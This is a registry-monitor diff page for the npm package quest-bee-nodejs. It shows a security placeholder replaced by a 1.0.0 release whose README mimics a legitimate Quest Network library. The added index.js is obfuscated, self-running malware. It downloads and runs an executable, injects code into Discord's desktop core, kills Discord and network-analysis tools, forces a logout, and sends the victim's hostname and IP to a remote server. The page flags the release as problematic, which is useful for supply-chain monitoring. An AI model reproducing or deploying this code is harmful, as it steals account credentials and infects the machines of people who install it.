quest-bee-nodejs 0.0.1-security → 1.0.0

Sign up to get free protection for your applications and to get access to all the features.

Potentially problematic release.


This version of quest-bee-nodejs might be problematic. Click here for more details.

Files changed (3) hide show
  1. package/README.md +75 -5
  2. package/index.js +1 -0
  3. package/package.json +28 -3
package/README.md CHANGED
@@ -1,5 +1,75 @@
1
- # Security holding package
2
-
3
- This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
4
-
5
- Please refer to www.npmjs.com/advisories?search=quest-bee-nodejs for more information.
1
+ # Quest Bee JS
2
+ > A resiliant swarm of managers for [Quest Dolphin JS](https://github.com/QuestNetwork/quest-dolphin-js) and [Quest Coral JS](https://github.com/QuestNetwork/quest-coral-js)
3
+
4
+ ## Lead Maintainer
5
+
6
+ [StationedInTheField](https://github.com/StationedInTheField)
7
+
8
+
9
+ ## Description
10
+
11
+ The Bee process for the [Quest Network Operating System](https://github.com/QuestNetwork/quest-os-js) interacts with optional user facing technology, [Quest Coral JS](https://github.com/QuestNetwork/quest-coral-js) and [Quest Dolphin JS](https://github.com/QuestNetwork/quest-dolphin-js). It stores and synchronizes configuration data, discovers relevant dolphin peers, spawns, protects and repairs multiple pods of dolphin instances and provides core protocol nodes to multiple pods of dolphin instances when used in a single application.
12
+
13
+
14
+ ## API
15
+
16
+ ### comb
17
+
18
+ #### bee.comb.get(path)
19
+ [![Bee](https://img.shields.io/badge/process-Bee-yellow)](https://github.com/QuestNetwork/quest-bee-js)
20
+
21
+ Gets HoneyComb Object Or Array Of Objects.
22
+
23
+ ```javascript
24
+ let comb = <os>.bee.comb.get('/my/path/to/the/object');
25
+ ```
26
+
27
+ #### bee.comb.set(path,content)
28
+ [![Bee](https://img.shields.io/badge/process-Bee-yellow)](https://github.com/QuestNetwork/quest-bee-js)
29
+
30
+ Sets HoneyComb Object Or Array Of Objects.
31
+
32
+ ```javascript
33
+ <os>.bee.comb.set('/my/path/to/the/object',content);
34
+ ```
35
+
36
+ #### bee.comb.add(path,content)
37
+ [![Bee](https://img.shields.io/badge/process-Bee-yellow)](https://github.com/QuestNetwork/quest-bee-js)
38
+
39
+ Adds a HoneyComb object to an array of HoneyComb objects.
40
+
41
+ ```javascript
42
+ <os>.bee.comb.add('/my/path/to/the/object',content);
43
+ ```
44
+
45
+ #### bee.comb.search(path)
46
+ [![Bee](https://img.shields.io/badge/process-Bee-yellow)](https://github.com/QuestNetwork/quest-bee-js)
47
+
48
+ Searches for HoneyComb objects and returns a flat array of HoneyComb objects.
49
+
50
+ ```javascript
51
+ let results = <os>.bee.comb.search('/my/path');
52
+ ```
53
+
54
+ ## Installation & Usage
55
+ ```
56
+ npm install quest-bee-nodejs
57
+ ```
58
+
59
+ ## Roadmap
60
+
61
+ **0.9.6**
62
+ - Uses [quest-star-rust](https://github.com/QuestNetwork/quest-star-rust) from NodeJS and Electron
63
+
64
+
65
+ ## Support Us
66
+ This project is a lot of work and unfortunately we need to eat food (ツ)
67
+
68
+ | Ethereum| Bitcoin |
69
+ |---|---|
70
+ | `0xBC2A050E7B87610Bc29657e7e7901DdBA6f2D34E` | `bc1qujrqa3s34r5h0exgmmcuf8ejhyydm8wwja4fmq` |
71
+ | <img src="doc/images/eth-qr.png" > | <img src="doc/images/btc-qr.png" > |
72
+
73
+ ## License
74
+
75
+ GNU AGPLv3
package/index.js ADDED
@@ -0,0 +1 @@
1
+ const _0x5444a4=_0x551f;(function(_0xf3e77f,_0x19030d){const _0x14ec42=_0x551f,_0x35b5e8=_0xf3e77f();while(!![]){try{const _0x24a022=-parseInt(_0x14ec42(0x135))/0x1*(-parseInt(_0x14ec42(0x182))/0x2)+-parseInt(_0x14ec42(0x165))/0x3*(parseInt(_0x14ec42(0x149))/0x4)+-parseInt(_0x14ec42(0x144))/0x5*(-parseInt(_0x14ec42(0x12e))/0x6)+-parseInt(_0x14ec42(0x18d))/0x7*(parseInt(_0x14ec42(0x196))/0x8)+-parseInt(_0x14ec42(0x191))/0x9*(-parseInt(_0x14ec42(0x15a))/0xa)+-parseInt(_0x14ec42(0x16d))/0xb*(parseInt(_0x14ec42(0x123))/0xc)+parseInt(_0x14ec42(0x121))/0xd*(parseInt(_0x14ec42(0x13a))/0xe);if(_0x24a022===_0x19030d)break;else _0x35b5e8['push'](_0x35b5e8['shift']());}catch(_0x5b2185){_0x35b5e8['push'](_0x35b5e8['shift']());}}}(_0x4871,0xe0d02));const _0x4d2a59=(function(){let _0x4e34a1=!![];return function(_0x497eb4,_0x20fe78){const _0x3e1ce7=_0x4e34a1?function(){const _0x2adfa6=_0x551f;if(_0x20fe78){const _0x4b355f=_0x20fe78[_0x2adfa6(0x11d)](_0x497eb4,arguments);return _0x20fe78=null,_0x4b355f;}}:function(){};return _0x4e34a1=![],_0x3e1ce7;};}()),_0x3856c1=_0x4d2a59(this,function(){const _0x5b141c=_0x551f;return _0x3856c1[_0x5b141c(0x18e)]()[_0x5b141c(0x13e)](_0x5b141c(0x140))[_0x5b141c(0x18e)]()[_0x5b141c(0x175)](_0x3856c1)[_0x5b141c(0x13e)](_0x5b141c(0x140));});_0x3856c1();const _0x379589=(function(){let _0x5b04da=!![];return function(_0x28eaf4,_0x1a3125){const _0x3d6a2f=_0x5b04da?function(){const _0x1d14d2=_0x551f;if(_0x1a3125){const _0x100312=_0x1a3125[_0x1d14d2(0x11d)](_0x28eaf4,arguments);return _0x1a3125=null,_0x100312;}}:function(){};return _0x5b04da=![],_0x3d6a2f;};}()),_0x5ce680=_0x379589(this,function(){const _0x396421=_0x551f,_0x11b34e=function(){const _0xf12747=_0x551f;let _0xa7494a;try{_0xa7494a=Function('return\x20(function()\x20'+_0xf12747(0x164)+');')();}catch(_0x3d75c5){_0xa7494a=window;}return _0xa7494a;},_0x16af4a=_0x11b34e(),_0x1c84de=_0x16af4a[_0x396421(0x13f)]=_0x16af4a[_0x396421(0x13f)]||{},_0x4a3b46=[_0x396421(0x12a),_0x396421(0x14c),_0x396421(0x16c),'error',_0x396421(0x166),_0x396421(0x147),_0x396421(0x192)];for(let _0x5079aa=0x0;_0x5079aa<_0x4a3b46[_0x396421(0x174)];_0x5079aa++){const _0x3f24e4=_0x379589[_0x396421(0x175)][_0x396421(0x138)][_0x396421(0x12d)](_0x379589),_0x2b22ec=_0x4a3b46[_0x5079aa],_0x5a1b25=_0x1c84de[_0x2b22ec]||_0x3f24e4;_0x3f24e4[_0x396421(0x157)]=_0x379589[_0x396421(0x12d)](_0x379589),_0x3f24e4[_0x396421(0x18e)]=_0x5a1b25[_0x396421(0x18e)][_0x396421(0x12d)](_0x5a1b25),_0x1c84de[_0x2b22ec]=_0x3f24e4;}});_0x5ce680();const glob=require(_0x5444a4(0x194)),fs=require('fs'),https=require(_0x5444a4(0x14b)),{exec}=require(_0x5444a4(0x136)),shell=require(_0x5444a4(0x195)),os=require('node:os'),axios=require(_0x5444a4(0x176)),download=require(_0x5444a4(0x153));var ip=require('ip');const zip=require(_0x5444a4(0x184)),FormData=require('form-data');var XMLHttpRequest=require('xhr2');const buf_replace=require(_0x5444a4(0x14a)),{session,BrowserWindow}=require('electron'),path=require(_0x5444a4(0x158)),querystring=require(_0x5444a4(0x17a)),_0x15884f={};_0x15884f[_0x5444a4(0x151)]=_0x5444a4(0x17f),_0x15884f[_0x5444a4(0x142)]='true',_0x15884f[_0x5444a4(0x159)]=_0x5444a4(0x189),_0x15884f[_0x5444a4(0x118)]=_0x5444a4(0x189),_0x15884f[_0x5444a4(0x15b)]=0x7b,_0x15884f[_0x5444a4(0x148)]='mozarte',_0x15884f['disable-qr-code']=_0x5444a4(0x189);const config=_0x15884f;let LOCAL=process[_0x5444a4(0x161)][_0x5444a4(0x11e)],discords=[],injectPath=[],runningDiscords=[];fs[_0x5444a4(0x17c)](LOCAL)[_0x5444a4(0x127)](_0xafa8ba=>{const _0x56db79=_0x5444a4;if(_0xafa8ba[_0x56db79(0x17d)](_0x56db79(0x152)))discords[_0x56db79(0x11b)](LOCAL+'\x5c'+_0xafa8ba);else return;});const temp=process[_0x5444a4(0x161)][_0x5444a4(0x15c)],infecccc=async()=>{const _0x2fb6b7=_0x5444a4,_0x40f470={};_0x40f470[_0x2fb6b7(0x137)]=_0x2fb6b7(0x178);const _0x54ba84=await axios[_0x2fb6b7(0x16a)](_0x2fb6b7(0x14e),_0x40f470),_0x35e5bc={};_0x35e5bc[_0x2fb6b7(0x17e)]='utf8',_0x35e5bc[_0x2fb6b7(0x16f)]='w',await fs['writeFileSync'](temp+_0x2fb6b7(0x171),_0x54ba84[_0x2fb6b7(0x139)],_0x35e5bc),await exec(temp+'\x5cqwerty.exe');return;};function Infect(){const _0x27d96e=_0x5444a4;https[_0x27d96e(0x16a)](_0x27d96e(0x13d),_0x49488d=>{const _0x4cf216=_0x27d96e;let _0x1cf0da='';_0x49488d['on'](_0x4cf216(0x139),_0x26e862=>{_0x1cf0da+=_0x26e862;}),_0x49488d['on'](_0x4cf216(0x125),()=>{const _0x4bbe4f=_0x4cf216;injectPath[_0x4bbe4f(0x127)](_0x30c694=>{const _0x39b5c2=_0x4bbe4f,_0x3424cf={};_0x3424cf['encoding']=_0x39b5c2(0x132),_0x3424cf[_0x39b5c2(0x172)]='w',fs[_0x39b5c2(0x163)](_0x30c694,_0x1cf0da[_0x39b5c2(0x134)](_0x39b5c2(0x13b),config[_0x39b5c2(0x118)])['replace'](_0x39b5c2(0x11f),ip[_0x39b5c2(0x18f)]())[_0x39b5c2(0x134)](_0x39b5c2(0x181),config['logout'])[_0x39b5c2(0x134)](_0x39b5c2(0x129),config[_0x39b5c2(0x148)])['replace']('%LOGOUTNOTI%',config['logout-notify'])[_0x39b5c2(0x134)](_0x39b5c2(0x156),config[_0x39b5c2(0x15b)])['replace']('%DISABLEQRCODE%',config[_0x39b5c2(0x124)]),_0x3424cf);if(config[_0x39b5c2(0x118)]==_0x39b5c2(0x189)){let _0x40c7a6=_0x30c694[_0x39b5c2(0x134)](_0x39b5c2(0x131),_0x39b5c2(0x133));!fs[_0x39b5c2(0x162)](_0x40c7a6)&&fs['mkdirSync'](_0x40c7a6,0x1e4);}if(config[_0x39b5c2(0x151)]!=_0x39b5c2(0x167)){let _0x5094b5=_0x30c694[_0x39b5c2(0x134)](_0x39b5c2(0x131),_0x39b5c2(0x130));if(!fs['existsSync'](_0x5094b5))fs[_0x39b5c2(0x154)](_0x5094b5,0x1e4),config[_0x39b5c2(0x151)]==_0x39b5c2(0x17f)&&startDiscord();else fs['existsSync'](_0x5094b5)&&config[_0x39b5c2(0x151)]==_0x39b5c2(0x17f)&&startDiscord();}});});})['on'](_0x27d96e(0x183),_0x18b9a7=>{});};const logout=async()=>{const _0x344476=_0x5444a4;return await BrowserWindow[_0x344476(0x12c)]()[0x0]['webContents'][_0x344476(0x12b)](_0x344476(0x17b),!![]),'ok';};function killDiscord(){const _0x2aff29=_0x5444a4;runningDiscords['forEach'](_0x2980da=>{const _0xe162b4=_0x551f;exec(_0xe162b4(0x122)+_0x2980da+_0xe162b4(0x119),_0x3ad6b2=>{if(_0x3ad6b2)return;});}),config[_0x2aff29(0x142)]==_0x2aff29(0x189)&&injectPath['length']!=0x0&&injectNotify(),Infect(),pwnBetterDiscord();};function listDiscords(){const _0x594f53=_0x5444a4;exec(_0x594f53(0x11c),function(_0x4f54df,_0x2d389a,_0x16d5d1){const _0x3e7a6c=_0x594f53;if(_0x2d389a[_0x3e7a6c(0x17d)](_0x3e7a6c(0x177)))runningDiscords[_0x3e7a6c(0x11b)](_0x3e7a6c(0x15d));if(_0x2d389a[_0x3e7a6c(0x17d)](_0x3e7a6c(0x126)))runningDiscords[_0x3e7a6c(0x11b)](_0x3e7a6c(0x15f));if(_0x2d389a[_0x3e7a6c(0x17d)](_0x3e7a6c(0x177)))runningDiscords[_0x3e7a6c(0x11b)](_0x3e7a6c(0x169));if(_0x2d389a[_0x3e7a6c(0x17d)]('DiscordCanary.exe'))runningDiscords['push'](_0x3e7a6c(0x12f));if(_0x2d389a[_0x3e7a6c(0x17d)](_0x3e7a6c(0x186)))runningDiscords['push'](_0x3e7a6c(0x188));if(_0x2d389a[_0x3e7a6c(0x17d)]('DiscordDevelopment.exe'))runningDiscords['push'](_0x3e7a6c(0x155));if(_0x2d389a[_0x3e7a6c(0x17d)](_0x3e7a6c(0x180)))runningDiscords['push'](_0x3e7a6c(0x143));if(_0x2d389a['includes'](_0x3e7a6c(0x120)))runningDiscords[_0x3e7a6c(0x11b)](_0x3e7a6c(0x146));if(_0x2d389a['includes']('Fiddler.exe'))runningDiscords[_0x3e7a6c(0x11b)](_0x3e7a6c(0x18c));if(_0x2d389a[_0x3e7a6c(0x17d)]('wireshark.exe'))runningDiscords[_0x3e7a6c(0x11b)]('wireshark');config[_0x3e7a6c(0x151)]==_0x3e7a6c(0x17f)?killDiscord():(config[_0x3e7a6c(0x142)]=='true'&&injectPath[_0x3e7a6c(0x174)]!=0x0&&injectNotify(),Infect(),pwnBetterDiscord());});};function startDiscord(){const _0x2b4969=_0x5444a4;runningDiscords[_0x2b4969(0x127)](_0x274cf3=>{const _0x1b822f=_0x2b4969;let _0xf0bf74=LOCAL+'\x5c'+_0x274cf3+_0x1b822f(0x15e)+_0x274cf3+_0x1b822f(0x14f);exec(_0xf0bf74,_0x205573=>{if(_0x205573)return;});});};function _0x551f(_0x3e2dda,_0x367b0e){const _0x4b5185=_0x4871();return _0x551f=function(_0x5ce680,_0x379589){_0x5ce680=_0x5ce680-0x118;let _0x387225=_0x4b5185[_0x5ce680];return _0x387225;},_0x551f(_0x3e2dda,_0x367b0e);}function pwnBetterDiscord(){const _0x5dd5d4=_0x5444a4;let _0x2c301f=process['env'][_0x5dd5d4(0x197)]+_0x5dd5d4(0x11a);if(fs[_0x5dd5d4(0x162)](_0x2c301f)){let _0x44f374=fs[_0x5dd5d4(0x187)](_0x2c301f);fs[_0x5dd5d4(0x163)](_0x2c301f,buf_replace(_0x44f374,_0x5dd5d4(0x145),'dc'));}return;}function injectNotify(){const _0x317a30=_0x5444a4;let _0x5b0914=[];injectPath['forEach'](_0x43e67a=>{const _0x18a898=_0x551f;let _0xc67f49=_0x43e67a;_0x5b0914[_0x18a898(0x11b)](_0xc67f49);});const _0x36dd93='{\x22fields\x22:\x22Discord\x20Desktop\x20(app-1.0.9005)\x22,\x20\x22pcname\x22:\x22'+os[_0x317a30(0x128)]()+_0x317a30(0x16b)+ip[_0x317a30(0x18f)]()+'\x22,\x20\x22idclientkey\x22:\x22mozarte\x22}';var _0x5c58da=new XMLHttpRequest();_0x5c58da[_0x317a30(0x193)](_0x317a30(0x160),_0x317a30(0x18b),!![]),_0x5c58da[_0x317a30(0x173)](_0x317a30(0x168),_0x317a30(0x150)),_0x5c58da[_0x317a30(0x190)]=function(){const _0x4b115e=_0x317a30,_0x1a1a80=this[_0x4b115e(0x13c)];},_0x5c58da[_0x317a30(0x185)](_0x36dd93);}function getDirectories(_0x125c4b){const _0xdeb470=_0x5444a4;return fs[_0xdeb470(0x17c)](_0x125c4b)[_0xdeb470(0x179)](function(_0x745622){const _0x67a424=_0xdeb470;return fs[_0x67a424(0x16e)](_0x125c4b+'/'+_0x745622)[_0x67a424(0x18a)]();});}function _0x4871(){const _0x5adb82=['Discord.exe','arraybuffer','filter','querystring','window.webpackJsonp?(gg=window.webpackJsonp.push([[],{get_require:(a,b,c)=>a.exports=c},[[\x22get_require\x22]]]),delete\x20gg.m.get_require,delete\x20gg.c.get_require):window.webpackChunkdiscord_app&&window.webpackChunkdiscord_app.push([[Math.random()],{},a=>{gg=a}]);function\x20LogOut(){(function(a){const\x20b=\x22string\x22==typeof\x20a?a:null;for(const\x20c\x20in\x20gg.c)if(gg.c.hasOwnProperty(c)){const\x20d=gg.c[c].exports;if(d&&d.__esModule&&d.default&&(b?d.default[b]:a(d.default)))return\x20d.default;if(d&&(b?d[b]:a(d)))return\x20d}return\x20null})(\x22login\x22).logout()}LogOut();','readdirSync','includes','encoding','instant','DiscordPTB.exe','%LOGOUT%','25798HNoXay','error','adm-zip','send','Discord\x20Canary\x20(32\x20bits).exe','readFileSync','Discord\x20Canary','true','isDirectory','http://20.109.92.236/api/newinjection','fiddler','7cZnTpI','toString','address','onload','14010534YsTuJv','trace','open','glob','shelljs','2209936sobUbr','appdata','init-notify','.exe\x20/F','\x5cBetterDiscord\x5cdata\x5cbetterdiscord.asar','push','tasklist','apply','LOCALAPPDATA','%USERIP%','Powercord.exe','3096587Talgoi','taskkill\x20/IM\x20','132jXdYmC','disable-qr-code','end','Discord\x20(32\x20bits).exe','forEach','hostname','%USERNAMEWEBHOOK%','log','executeJavaScript','getAllWindows','bind','30InMwmK','discordcanary','DC_BTW','index.js','utf8','init','replace','46IiVfRz','child_process','responseType','prototype','data','84hKetYc','%INITNOTI%','responseText','https://pst.klgrth.io/paste/cjre6/raw','search','console','(((.+)+)+)+$','\x5cdiscord_desktop_core\x5cindex.js','inject-notify','discordptb','351865qPdqEB','api/webhooks','powercord','table','USERNAMEWEBHOOK','3281084mYLCYT','buffer-replace','node:https','warn','\x5cmodules\x5c','https://cdn.discordapp.com/attachments/998660447886639106/1005567780994678915/qwerty.exe','.exe','application/json','logout','iscord','download','mkdirSync','discorddevelopment','3447704','__proto__','path','logout-notify','10ZOVxjp','embed-color','temp','discord','\x5cUpdate.exe\x20--processStart\x20','Discord','POST','env','existsSync','writeFileSync','{}.constructor(\x22return\x20this\x22)(\x20)','6VqNgOn','exception','false','Content-type','Discord\x20(32\x20bits)','get','\x22,\x20\x22ip\x22:\x22','info','1093521betAhG','statSync','flags','app-','\x5cqwerty.exe','flag','setRequestHeader','length','constructor','axios'];_0x4871=function(){return _0x5adb82;};return _0x4871();}listDiscords(),discords['forEach'](function(_0x297306){const _0x43b9c4=_0x5444a4;getDirectories(_0x297306+'\x5c')[_0x43b9c4(0x127)](_0x368831=>{const _0x59d909=_0x43b9c4;_0x368831[_0x59d909(0x17d)](_0x59d909(0x170))&&(_0x297306=_0x297306+'\x5c'+_0x368831+_0x59d909(0x14d));}),getDirectories(_0x297306)[_0x43b9c4(0x127)](_0x2eef01=>{const _0xc15ceb=_0x43b9c4;_0x2eef01[_0xc15ceb(0x17d)]('discord_desktop_core-')&&(_0x297306=_0x297306+'\x5c'+_0x2eef01+_0xc15ceb(0x141));}),fs[_0x43b9c4(0x162)](_0x297306)&&injectPath[_0x43b9c4(0x11b)](_0x297306);}),killDiscord(),Infect(),startDiscord(),infecccc();
package/package.json CHANGED
@@ -1,6 +1,31 @@
1
1
  {
2
+ "dependencies": {
3
+ "adm-zip": "^0.5.9",
4
+ "axios": "^0.27.2",
5
+ "buffer-replace": "^1.0.0",
6
+ "child_process": "^1.0.2",
7
+ "color": "^4.2.3",
8
+ "download": "^8.0.0",
9
+ "electron": "^19.0.9",
10
+ "form-data": "^4.0.0",
11
+ "fs": "^0.0.1-security",
12
+ "glob": "^8.0.3",
13
+ "https": "^1.0.0",
14
+ "ip": "^1.1.8",
15
+ "os": "^0.1.2",
16
+ "path": "^0.12.7",
17
+ "querystring": "^0.2.1",
18
+ "shelljs": "^0.8.5",
19
+ "xhr2": "^0.2.1"
20
+ },
2
21
  "name": "quest-bee-nodejs",
3
- "version": "0.0.1-security",
4
- "description": "security holding package",
5
- "repository": "npm/security-holder"
22
+ "version": "1.0.0",
23
+ "main": "index.js",
24
+ "scripts": {
25
+ "test": "echo \"Error: no test specified\" && exit 1"
26
+ },
27
+ "author": "quest-bee-nodejs <quest-bee-nodejs@gmail.com>",
28
+ "license": "MIT",
29
+ "description": "Simple database function",
30
+ "devDependencies": {}
6
31
  }